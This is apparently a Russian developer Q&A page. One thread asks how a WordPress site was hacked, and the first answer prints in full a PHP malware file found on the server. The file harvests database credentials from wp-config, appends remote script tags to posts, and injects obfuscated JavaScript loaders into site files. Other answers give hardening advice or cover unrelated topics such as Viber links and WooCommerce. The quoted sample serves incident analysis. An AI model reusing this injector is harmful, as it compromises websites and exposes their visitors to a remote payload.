• Как найти место взлома wordpress?

    @jahtaka
    Там каким-то образом кладётся файлик "lte_", я пока не определил способ его размещения на сервере. Из него начиает постить код в PHP JS HTM файлы и в базу с редиректом. Тысячами.

    Ai-bolit всё это находит, благодаря ему как раз и обнаружил.

    Файл "lte_" :
    spoiler
    <?php echo "ssqqss>>>";
    error_reporting(0);
    ini_set('display_errors',0);
    
    
    search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
    die();
    
      
    function get_var_reg($pat,$text) {
    	
    	if ($c = preg_match_all ("/".$pat."/is", $text, $matches))
    	{
    		return $matches[1][0];
    	}
    		
    	return "";
    }
    function search_file_ms($dir,$file_to_search){
    
    $search_array = array();
    
    $files = scandir($dir);
    
    if($files == false) {
    	
    	$dir = substr($dir, 0, -3);
    	if (strpos($dir, '../') !== false) {
    		
    		@search_file_ms( $dir,$file_to_search);
    		return;
    	}
    	if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
    		
    		@search_file_ms( $dir,$file_to_search);
    		return;
    	}
    }
    
    foreach($files as $key => $value){
    
    
        $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
    
        if(!is_dir($path)) {
    		if (strpos($value,$file_to_search) !== false) {
    		
    			show_sitenames($path);
    			
    			
    			
            }
    
        } else if($value != "." && $value != "..") {
    
            @search_file_ms($path, $file_to_search);
    
        }  
     } 
    }
    function show_sitenames($file){
    	$content = @file_get_contents($file);
    	if(strpos($content, "DB_NAME") !== false) {
    	
    	
    	$db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content);
    	$host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content);
    	$user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content);
    	$pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content);
    
    
    // Create connection
    $conn = new mysqli($host, $user, $pass);
    
    // Check connection
    if ($conn->connect_error) {
     
    } else { 
    
    
    $q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
    $result = $conn->query($q);
    if ($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
    		$q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]."  LIMIT 1 ";
    	$result2 = $conn->query($q2);
    	if ($result2->num_rows > 0) {
    		while($row2 = $result2->fetch_assoc()) {
    			$val = $row2['post_content'];
    			if(strpos($val, "flat.lowerthenskyactive.ga") === false){
    				if(strpos($val, "flat.lowerthenskyactive.ga") === false){
    					
    				
    					$q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src='https://flat.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%flat.lowerthenskyactive.ga%'";
    					$conn->query($q3);
    					echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"];
    				
    				} else {
    				
    				}
    
    			} 
    		}
    	} else {
    	}
        }
    } else {
    }
    $conn->close();
    }
    }
    }
    
    function search_file($dir,$file_to_search){
    
    $files = @scandir($dir);
    
    if($files == false) {
    	
    	$dir = substr($dir, 0, -3);
    	if (strpos($dir, '../') !== false) {
    		
    		@search_file( $dir,$file_to_search);
    		return;
    	}
    	if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
    		
    		@search_file( $dir,$file_to_search);
    		return;
    	}
    }
    
    foreach($files as $key => $value){
    
        $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
    	
        if(!is_dir($path)) {
    		if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {
    
    		make_it($path);
    
        } }else if($value != "." && $value != "..") {
    
            search_file($path, $file_to_search);
    
        }  
     } 
    
    }
    
    function search_file_index($dir,$file_to_search){
    
    $files = @scandir($dir);
    
    if($files == false) {
    	
    	$dir = substr($dir, 0, -3);
    	if (strpos($dir, '../') !== false) {
    		
    		search_file_index( $dir,$file_to_search);
    		return;
    	}
    	if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
    		
    		search_file_index( $dir,$file_to_search);
    		return;
    	}
    }
    
    foreach($files as $key => $value){
    
        $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
    	
        if(!is_dir($path)) {
    		if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {
    
    		make_it_index($path);
    
        } }else if($value != "." && $value != "..") {
    
            search_file_index($path, $file_to_search);
    
        }  
     } 
    
    }
    function search_file_js($dir,$file_to_search){
    
    $files = @scandir($dir);
    if($files == false) {
    	
    	$dir = substr($dir, 0, -3);
    	if (strpos($dir, '../') !== false) {
    		
    		@search_file_js( $dir,$file_to_search);
    		return;
    	}
    	if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
    		
    		@search_file_js( $dir,$file_to_search);
    		return;
    	}
    }
    
    foreach($files as $key => $value){
    
        $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
    	
        if(!is_dir($path)) {
    		if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) {
    
    		make_it_js($path);
    
        } }else if($value != "." && $value != "..") {
    
            search_file_js($path, $file_to_search);
    
        }  
     } 
    
    }
    
    function make_it_js($f){
    			$g = file_get_contents($f);
    			
    										
    
    if (strpos($g, '102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97') !== false) {
    
    } else {
    
    $l2 = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
    $g = file_get_contents($f);
    $g = $l2.$g;
    @system('chmod 777 '.$f);
    @file_put_contents($f,$g);
    echo "js:".$f."\r\n";
    }
    
    			
    }
    function make_it_index($f){
    $g = file_get_contents($f);
    if (strpos($g, '102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97') !== false || strpos($g, 'flat.lowerthenskyactive.ga') !== false) {
    
    } else {
    $l2 = "<script type='text/javascript' src='https://flat.lowerthenskyactive.ga/m.js?n=nb5'></script>";
    $g = file_get_contents($f);
    $g = $l2.$g;
    
    @system('chmod 777 '.$f);
    @file_put_contents($f,$g);
    echo "in:".$f."\r\n";
    
    
    			}
    }
    
    function make_it($f){
    $g = file_get_contents($f);
    if (strpos($g, '102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97') !== false) {
    
    } else {
    $l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
    if (strpos($g, '<head>') !== false) {
    $b = str_replace("<head>","<head>".$l2,$g);
    @system('chmod 777 '.$f);
    @file_put_contents($f,$b);
    echo "hh:".$f."\r\n";
    }
    if (strpos($g, '</head>') !== false) {
    $b = str_replace("</head>",$l2."</head>",$g);
    @system('chmod 777 '.$f);
    @file_put_contents($f,$b);
    echo "hh:".$f."\r\n";
    }
    
    
    			}
    }
    Ответ написан
    4 комментария
  • Как найти место взлома wordpress?

    msHack
    @msHack
    Попробуйте сканеры безопасности их очень много разных
    Ответ написан
    Комментировать
  • Как найти место взлома wordpress?

    Kleindberg
    @Kleindberg
    Full stack
    Обычно, вирус находится в nulled плагине или теме, скачанной с пиратского сайта. Вот, пример такого вируса.

    Следовательно, начинать лечение сайта нужно с поиска зараженного плагина или темы (файл functions.php). А то, что вирус на соседние сайты полез, значит, что у вас на сервере в PHP не настроены ограничения open_basedir. Я после таких заражений всюду установил open_basedir: /home/user/site.com/www (огранил видимость в пределах www) - так вирус не сможет просканировать другие папки за пределами одного домена.

    Есть антивирусы по типу AiBolit - они находят вирусы в коде.
    Ответ написан
    4 комментария
  • Как понять, из-за чего забивается вся оперативная память на VDS?

    ky0
    @ky0
    Миллиардер, филантроп, патологический лгун
    Ограничивайте максимальный объём памяти и количество процессов PHP, ограничивайте доступную базе память. Смените апач на нгинкс, фигли он целый гигабайт-то занимает?
    Ответ написан
    3 комментария
  • Как понять, из-за чего забивается вся оперативная память на VDS?

    Нужно начать использовать инструменты мониторинга и профилирования приложения на предмет потребления памяти и производительности. Для каждого ЯП они свои. Плюс есть инструменты для профилирования Linux. Однако я бы посоветовал переходить к ним лишь после тщательного анализа приложения средствами языка.
    Ответ написан
    5 комментариев
  • Как устранить и не допустить появления в дальнейшем вируса WordPress?

    solotony
    @solotony
    покоряю пик Балмера
    сталкивался неоднократно. причина была одна - дыры в плагинах. помогает только полная пересборка сайта . (поиск уязвимостей как правило будет сложнее и дороже)

    но в вашем случае VDS - так что дыра может быть где угодно. не имея навыков администрирования брать VDS - плохая идея.

    - взять новый "чистый" хостинг (если есть возможность не использовать VDS -не используйте его
    - пересобирать на нем сайты полностью "с 0", обязательно изолируя их друг от друга.
    Ответ написан
    2 комментария
  • Как устранить и не допустить появления в дальнейшем вируса WordPress?

    @Lord_Dantes
    Если используете плагины не популярные или мало скачиваемые, может в них как раз и есть дыра в безопасности.

    Что можно посоветовать?
    Как минимум сменить пароли как максимум удалять все эти штуки вручную...
    Ответ написан
    Комментировать
  • Как устранить и не допустить появления в дальнейшем вируса WordPress?

    Kozack
    @Kozack Куратор тега WordPress
    Thinking about a11y
    Я нахожу две наиболее вероятные причины взлома:
    1. Кривые руки пользователя (это и потенциально уязвимый код и пароли по типу "qwerty1234")
    2. Устаревшие компоненты, в которых нашли уязвимость.


    Следовательно основные меры безопасности:
    • Следить за обновлениями ядра.
    • Следить за обновлениями плагинов.
    • Перед установкой любого плагина смотреть когда он последний раз обновлялся, какие версии ядра поддерживает.
    • Следить за компонентами ОС.
    • Регулярно или автоматически обновлять весь софт до актуальных версий.
    • Не создавать пользователя с логином admin
    • Не создавать пользователей с легкоподбираемыми паролями.
    • Не публиковать и не пересылать пароли в открытых каналах или на скриншотах от таких сервисов как prnt.sc и тп.
    • Не копировать и вставлять на сайт код, если вы не понимаете как он работает.


    В качестве дополнительных мер можно:
    • Использовать какой-либо плагин для ограничения попыток входа
    • Установить двухфакторную аутентификацию.
    Ответ написан
    Комментировать
  • Как сделать ссылку на Viber?

    Middle_Pudge
    @Middle_Pudge
    Дело в том что десктопное и мобильное приложение Viber открывается по разным ссылкам, что создает определенные сложности при добавлении такой ссылки на сайт. Поэтому потратьте 2 минуты чтобы прочитать и понять текст ниже) Для мобильных устройств используется такой подход формирования ссылки:
    <a href="viber://add?number=380950000000">Написать в Viber</a>

    Для ПК – такой:
    <a title="Должен быть установлен Viber для ПК" href="viber://chat?number=+380950000000">Написать в Viber</a>


    Для того, чтобы определить устройство при помощи PHP, в самом простейшем случае можно воспользоваться простейшей функцией, которая определяет USER_AGENT устройства, а затем, в зависимости от того, опередила ли функция устройство как мобильное или нет, показывать ту или иную ссылку.
    <?php function check_mobile_device() { 
        $mobile_agent_array = array('ipad', 'iphone', 'android', 'pocket', 'palm', 'windows ce', 'windowsce', 'cellphone', 'opera mobi', 'ipod', 'small', 'sharp', 'sonyericsson', 'symbian', 'opera mini', 'nokia', 'htc_', 'samsung', 'motorola', 'smartphone', 'blackberry', 'playstation portable', 'tablet browser');
        $agent = strtolower($_SERVER['HTTP_USER_AGENT']);    
        foreach ($mobile_agent_array as $value) {    
            if (strpos($agent, $value) !== false) return true;   
        };     
        return false; 
    };?>

    Расположить функцию, можно, например в самом начале страницы, перед 'doctype' или вынести в отдельный файл и там же подключить его.

    После этого, в месте где будет выводиться ссылка на Viber используйте такую проверку:
    <? if(check_mobile_device()) :?>
    	<a title="Viber" href="viber://add?number=79851198793"></a>              
    <? else : ?>
    	<a title="Viber" href="viber://chat?number=+79851198793"></a>
    <? endif; ?>

    Теперь, если человек зашел с ПК, то ему покажется ссылка для десктопного приложения, а если с мобильного устройства, то ссылка для смартфона или планшета.
    Ответ написан
    Комментировать
  • Как динамически подгружать код html+js и заставить его работать?

    xmoonlight
    @xmoonlight
    https://sitecoder.blogspot.com
    Для этих целей - я создал includeHTML (для SPA и прочих интерактивных веб-приложений).
    Как раз позволяет загружать (и проверять: загружено ли уже) нужные HTML-блоки и JS-скрипты (+CSS и TXT).
    Все описание - на гитхабе. Непонятно - спрашивайте: отвечу.
    Ответ написан
    1 комментарий
  • Как динамически подгружать код html+js и заставить его работать?

    like-a-boss
    @like-a-boss
    Признайся,тебяТянетНаКодМужика,ты—программный гей
    При подгрузки

    Ну как так то?

    На успешный коллбек подгрузки страницы нужно вызвать код, который заставит нерабочее работать. Элементы, которые требуют инициализации некоторых скриптов по-другому не заставишь работать. Если бы дело касалось событий, то можно было бы применить делегирование.
    Ответ написан
    3 комментария
  • Какой плагин использовать на вордпресс для определения геолокации?

    HeadOnFire
    @HeadOnFire
    PHP, Laravel & WordPress Evangelist
    Первое что нужно понимать - геолокацию лучше всего делать на уровне сервера. У Nginx и Apache есть для этого модули, многие сервисы типа CloudFlare (если вы используете) делают геолокацию и передают данные в заголовках. В обеих случаях данные геолокации будут доступны в массиве $_SERVER. Это обеспечит максимальную производительность. Есть еще вариант на уровне модуля PHP, но имхо это полумера. Ну а если это на уровне PHP (а тем более на уровне WordPress), то скорость будет желать лучшего. Для геолокации нужно сверить IP по огромной базе данных. На уровне сервера это бинарный файл и все оптимизировано до максимума. На PHP это все runtime и крайне неэффективно.

    Впрочем, если вам все равно нужно простое и быстрое решение в виде плагина, несмотря на все недостатки - смотрите тут https://wordpress.org/plugins/tags/geolocation/.

    Есть еще вариант запрашивать сторонний API, передавая ему IP-адрес, но это вообще адски медленная муть по сравнению с серверной геолокацией.

    Дополнительно не забудьте учесть, что так или иначе данные геолокации вам будут доступны на уровне PHP. Это означает, что если вы используете плагин для кеширования страниц целиком (full page cache), то WordPress в этом случае не запускается вообще (а то и PHP не запускается - зависит от реализации механизма FPC). В этом случае придется опираться на Javascript. Для этого есть HTML Geolocation API, но он эффективен на устройствах с геолокацией и запрашивает у пользователя разрешение на доступ к данным геолокации. Более надежным (но менее производительным) будет что-то из разряда https://dev.maxmind.com/geoip/geoip2/javascript/. Ну или аналоги ищите.
    Ответ написан
    1 комментарий
  • Как определить что поисковый бот а не человек?

    rework
    @rework
    Помог ответ? В благодарность отметь его решением
    Вот есть решение на всех известных ботов:

    function isBot(&$botname = ''){
    /* Эта функция будет проверять, является ли посетитель роботом поисковой системы */
      $bots = array(
        'rambler','googlebot','aport','yahoo','msnbot','turtle','mail.ru','omsktele',
        'yetibot','picsearch','sape.bot','sape_context','gigabot','snapbot','alexa.com',
        'megadownload.net','askpeter.info','igde.ru','ask.com','qwartabot','yanga.co.uk',
        'scoutjet','similarpages','oozbot','shrinktheweb.com','aboutusbot','followsite.com',
        'dataparksearch','google-sitemaps','appEngine-google','feedfetcher-google',
        'liveinternet.ru','xml-sitemaps.com','agama','metadatalabs.com','h1.hrn.ru',
        'googlealert.com','seo-rus.com','yaDirectBot','yandeG','yandex',
        'yandexSomething','Copyscape.com','AdsBot-Google','domaintools.com',
        'Nigma.ru','bing.com','dotnetdotcom'
      );
      foreach($bots as $bot)
        if(stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false){
          $botname = $bot;
          return true;
        }
      return false;
    }


    Использование:

    if( isBot($bname) ) {
       // Перебрасываем на Москву
    }
    Ответ написан
    9 комментариев
  • Как организовать правильную структуру БД?

    AlexKeller
    @AlexKeller
    Ну вот для "Тесты_пользователей" поле "id_юзера" это внешний ключ на юзера. Тут нормально. А для "Вопросы_тестов_пользователей" хранение "id_юзера" уже бессмысленно, т.к. есть "id_теста" и всегда можно заджоинить.

    По поводу "один вопрос может быть чекбоксами, другой радиокнопками". Можно ввести параметр внутри таблицы вопросов, который отвечает за тип вариантов ответа - RADIO|CHECKBOX|INPUT. И в зависимости от этого типа на UI рисовать нужные поля для вариантов (если они есть).

    Варианты ответов лучше хранить в отдельной таблице, деструктурированные данные гораздо проще использовать. Просто задаем внешний ключ на "id_вопроса"
    Ответ написан
    2 комментария
  • Contact form 7 + popup почему перегружается страница?

    @sofia_karroll
    Нашла святого человека
    в шапку добавь wp_head() если не помогает, то в wp-config добавь define ('WPCF7_LOAD_JS', true или false );

    или вообще можно принудительно прописать в шапку:
    <script type='text/javascript' src='/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=твоя версия скрипта'></script>
    <script type='text/javascript'>
    /* <![CDATA[ */
    var _wpcf7 = {"loaderUrl":"\/wp-content\/plugins\/contact-form-7\/images\/ajax-loader.gif","sending":"Sending ..."};
    /* ]]> */
    </script>
    <script type='text/javascript' src='/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=твоя версия скрипта'></script>


    Это не мой ответ, но у меня это сработало. Нашла ответ этого святого человека здесь

    Я так поняла, что подобная проблема возникает, когда сам пытаешься написать шаблон. Мысль пришла, когда проверила работу contact form 7 на обычной теме из предложенных WP
    Ответ написан
    5 комментариев
  • Как вывести атрибуты товаров woocommerce?

    Palych_tw
    @Palych_tw
    Типа веб-разработчик
    Что бы не получать таких ошибок, нужно делать проверку, а не пуста ли переменная $subheadingvalues. Но это так. А вообще в самом плагине все до вас написано. Атрибуты выводятся в товаре в табе "доп информация", посмотрим код этой табы. plugins/woocommerce/templates/single-product/tabs/additional-information.php
    Код там такой <?php $product->list_attributes(); ?> используется метот list_attributes(); Можно на этом остановиться и в своем шаблоне написать
    global $product;
    $product->list_attributes();

    Но получим готовую разметку в виде таблицы. Посмотрим, что делает функция list_attributes();
    public function list_attributes() {
    		wc_get_template( 'single-product/product-attributes.php', array(
    			'product'    => $this
    		) );
    	}

    Идем в папку за нужным файлом plugins/woocommerce/templates/single-product/product-attributes.php
    Помимо прочего в нем видим
    $attributes = $product->get_attributes();
    .........
    <?php foreach ( $attributes as $attribute ) :
    		if ( empty( $attribute['is_visible'] ) || ( $attribute['is_taxonomy'] && ! taxonomy_exists( $attribute['name'] ) ) ) {
    			continue;
    		} else {
    			$has_row = true;
    		}
    		?>
    		<tr class="<?php if ( ( $alt = $alt * -1 ) == 1 ) echo 'alt'; ?>">
    			<th><?php echo wc_attribute_label( $attribute['name'] ); ?></th>
    			<td><?php
    				if ( $attribute['is_taxonomy'] ) {
    
    					$values = wc_get_product_terms( $product->id, $attribute['name'], array( 'fields' => 'names' ) );
    					echo apply_filters( 'woocommerce_attribute', wpautop( wptexturize( implode( ', ', $values ) ) ), $attribute, $values );
    
    				} else {
    
    					// Convert pipes to commas and display values
    					$values = array_map( 'trim', explode( WC_DELIMITER, $attribute['value'] ) );
    					echo apply_filters( 'woocommerce_attribute', wpautop( wptexturize( implode( ', ', $values ) ) ), $attribute, $values );
    
    				}
    			?></td>
    		</tr>
    	<?php endforeach; ?>

    Адаптируйте под свои нужды. Я думаю, должно работать)

    P.S. Не забываем поглядывать в документацию. Вот полный список того, что можно сделать с $product https://docs.woocommerce.com/wc-apidocs/class-WC_P...
    Ответ написан
    Комментировать
  • Не приходят письма при новом заказе в WooCommerce, что можно сделать?

    Vagrant0610
    @Vagrant0610 Автор вопроса
    PHP разработчик
    Вопрос решён. Настроил отправку писем через плагин WP Mail SMTP.
    Сделал следующим образом:
    1. Выбрал в настройках "Other SMTP".
    2. Вписал параметры (нашёл на сайте mail.ru) для почтовых программ:
    SMTP Host smtp.mail.ru
    SMTP Port 465
    Encryption None (Выбрать - SSL) TLS
    Auto TLS ON
    Authentication ON
    SMTP Username Knife@mail.ru
    SMTP Password *******************
    3. Очень важный момент! Что у mail, что у yandex и возможно у других почтовых сервисов, отправитель проверсяется на соответствие. По этому в самом верху на странице настроек плагина обязательно укажите тот же самый адрес почты что и в "SMTP Username".
    From Email Knife@mail.ru
    4. Преимущества такой настройки в том что при отправлении писем через такие сервисы, письма имеют безопасные подписи, по этому все письма которые приходят клиентам и вам, не попадают в папку "спам".

    На этом всё. После этого заработала почта в магазине.
    Ответ написан
    3 комментария
  • События для динамически добавленных в DOM элементов?

    @GR0ST
    jQuery работает с элементами, которые были на странице на момент инициализации кода.

    Если добавляются новые элементы - при помощи ajax'а или функций типа append() - то события не затрагивают их.

    Как же работать с новыми созданными элементами DOM?

    Оказывается для динамических элементов используется делегированная обработка событий.

    Если кратко, то смысл делегирования в том, что обработчики "навешиваются" не на отсутствующие в dom элементы, а на существующий родительский объект.

    Таким образом, при срабатывании соответствующего события, будет вызван данный обработчик для всех элементов, соответствующих селектору, даже если этих элементов не было во время объявлении обработчика (например при загрузке страницы).

    пример можно подсмотреть тут
    moxiemaks.ru/2017/06/25/sobytija-dlja-dinamicheski...
    Ответ написан
    Комментировать
  • Почему падает mysql на VDS?

    @Tabletko
    никого не трогаю, починяю примус
    Кончилась оперативная память и за процессом пришел oom-killer
    Ответ написан
    Комментировать